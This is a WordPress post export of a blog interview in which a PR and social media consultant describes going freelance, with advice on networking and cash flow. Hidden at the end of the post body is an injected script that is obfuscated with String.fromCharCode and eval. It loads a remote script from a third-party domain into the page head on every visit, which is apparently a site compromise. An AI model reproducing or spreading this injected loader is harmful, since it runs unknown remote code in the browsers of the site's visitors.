{"id":5664,"date":"2023-06-09T10:56:40","date_gmt":"2023-06-09T10:56:40","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/freelance-pr-consultant-qa-katie-moffat-pr-and-social\/"},"modified":"2023-06-09T10:56:40","modified_gmt":"2023-06-09T10:56:40","slug":"freelance-pr-consultant-qa-katie-moffat-pr-and-social","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/freelance-pr-consultant-qa-katie-moffat-pr-and-social\/","title":{"rendered":"Freelance PR Consultant Q&#038;A: Katie Moffat, PR and Social"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/freelance-pr-consultant-qa-katie-moffat-pr-and-social\/#What_made_you_decide_to_go_freelance\" title=\"What made you decide to go freelance?\">What made you decide to go freelance?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/freelance-pr-consultant-qa-katie-moffat-pr-and-social\/#What_steps_did_you_put_in_place_before_you_went_freelance\" title=\"What steps did you put in place before you went freelance?\">What steps did you put in place before you went freelance?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/freelance-pr-consultant-qa-katie-moffat-pr-and-social\/#How_did_it_feel_before_you_went_freelance\" title=\"How did it feel before you went freelance?\">How did it feel before you went freelance?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/freelance-pr-consultant-qa-katie-moffat-pr-and-social\/#How_does_it_feel_now_you_are_freelance\" title=\"How does it feel now you are freelance?\">How does it feel now you are freelance?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/freelance-pr-consultant-qa-katie-moffat-pr-and-social\/#What_are_the_positives_of_freelance_life\" title=\"What are the positives of freelance life?\">What are the positives of freelance life?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/freelance-pr-consultant-qa-katie-moffat-pr-and-social\/#What_are_the_negatives_of_freelance_life\" title=\"What are the negatives of freelance life?\">What are the negatives of freelance life?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/freelance-pr-consultant-qa-katie-moffat-pr-and-social\/#Any_advice_for_others_looking_to_go_freelance\" title=\"Any advice for others looking to go freelance?\">Any advice for others looking to go freelance?<\/a><\/li><\/ul><\/nav><\/div>\n<p><em>This is the ninth\u00a0in a series of interviews with freelancers, telling us their stories on how they went freelance. The aim is to help others who are thinking of becoming freelance learn more about what it takes, as well as get advice and inspiration so they can get the confidence and understanding to find out if freelancing is right for them.<\/em><\/p>\n<p><em>If you want to take part in the series, simply\u00a0head here to tell us your freelance story<\/em><\/p>\n<p><img class=&quot;aligncenter  wp-image-1102&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2014\/08\/Katie-Moffat.png&quot; alt=&quot;Katie Moffat&quot; width=&quot;814&quot; height=&quot;314&quot; \/><\/p>\n<ul>\n<li><strong>Name:\u00a0<\/strong>Katie Moffat<\/li>\n<li><strong>Freelance Area:<\/strong>\u00a0Social media strategy &amp; training, copywriting, digital marketing<\/li>\n<li><strong>Freelance\u00a0For:<\/strong>\u00a010 years<\/li>\n<li><strong>Website:\u00a0<\/strong>prandsocial.<wbr \/>com<\/li>\n<li><strong>Twitter:\u00a0<\/strong><a title=\"&quot;@katiemoffat&quot;\" href=\"\/\/twitter.com\/katiemoffat&quot;\" target=\"&quot;_blank&quot;\" rel=\"&quot;noopener&quot; noopener\">@katiemoffat<\/a><\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"What_made_you_decide_to_go_freelance\"><\/span>What made you decide to go freelance?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Having a child and not wanting to go back to work full-time while children were very small.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"What_steps_did_you_put_in_place_before_you_went_freelance\"><\/span>What steps did you put in place before you went freelance?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Um, nothing really, I\u2019m more of a leap before you look person. Also 10 years ago it wasn\u2019t really obligatory to have a website or whatever, which I\u2019d say it is now.<span style=&quot;color: #ff0000;&quot;>*<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_did_it_feel_before_you_went_freelance\"><\/span>How did it feel before you went freelance?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>I was slightly worried that I\u2019d miss the office banter and working as part of a team but the nature of PR meant that I was out about fair bit, in addition to always being on the phone. This was pre-twitter remember, seems another world now.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_does_it_feel_now_you_are_freelance\"><\/span>How does it feel now you are freelance?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>I\u2019ve worked for myself for so long that I can\u2019t imagine being a salaried employee now.<\/p>\n<p>Very occasionally I see a job that tempts me but the flexibility of working for myself outweighs any negatives.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"What_are_the_positives_of_freelance_life\"><\/span>What are the positives of freelance life?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Flexibility, variety, control.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"What_are_the_negatives_of_freelance_life\"><\/span>What are the negatives of freelance life?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Cash flow, sometimes not getting to work really at depth on something, not working with others in an office (but twitter replaces that for me now anyway).<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Any_advice_for_others_looking_to_go_freelance\"><\/span>Any advice for others looking to go freelance?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Contacts are really important, build up (through twitter\/Linkedin or whatever) a really good network.<\/p>\n<p>In 10 years of working for myself around 95% of my work has been through recommendation and word-of-mouth.<\/p>\n<p>Also, it\u2019s not as financially scary as I think some people believe. I always take the view that you never know what\u2019s going to happen tomorrow anyway, even in salaried employment.<\/p>\n<p><span style=&quot;color: #ff0000;&quot;>*<\/span>Yes\u00a0I know my website is old and unloved looking, a new one is in\u00a0the works honest.<\/p>\n<p>&nbsp;<\/p>\n<p style=&quot;color: #444444;&quot;><em>Thanks for taking part, Katie, and for sharing your tips and advice. Make sure to check out her\u00a0website at\u00a0prandsocial.com\u00a0and follow her\u00a0on Twitter at\u00a0@katiemoffat.\u00a0<\/em><\/p>\n<p style=&quot;color: #444444;&quot;><em>If you want to take part in the series, simply head here to\u00a0tell us your freelance story.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p><b><i>Want to get more advice on how to be a happier, confident and successful freelancer?\u00a0Get tips and ideas\u00a0delivered straight to your inbox:<\/i><\/b><\/p>\n<p>[mc4wp_form]<\/p>\n<p>&nbsp;<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is the ninth\u00a0in a series of interviews with freelancers, telling us their stories on how they went freelance. The aim is to help others who are thinking of becoming freelance learn more about what it takes, as well as get advice and inspiration so they can get the confidence and understanding to find out [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-5664","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5664"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=5664"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5664\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=5664"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=5664"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=5664"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}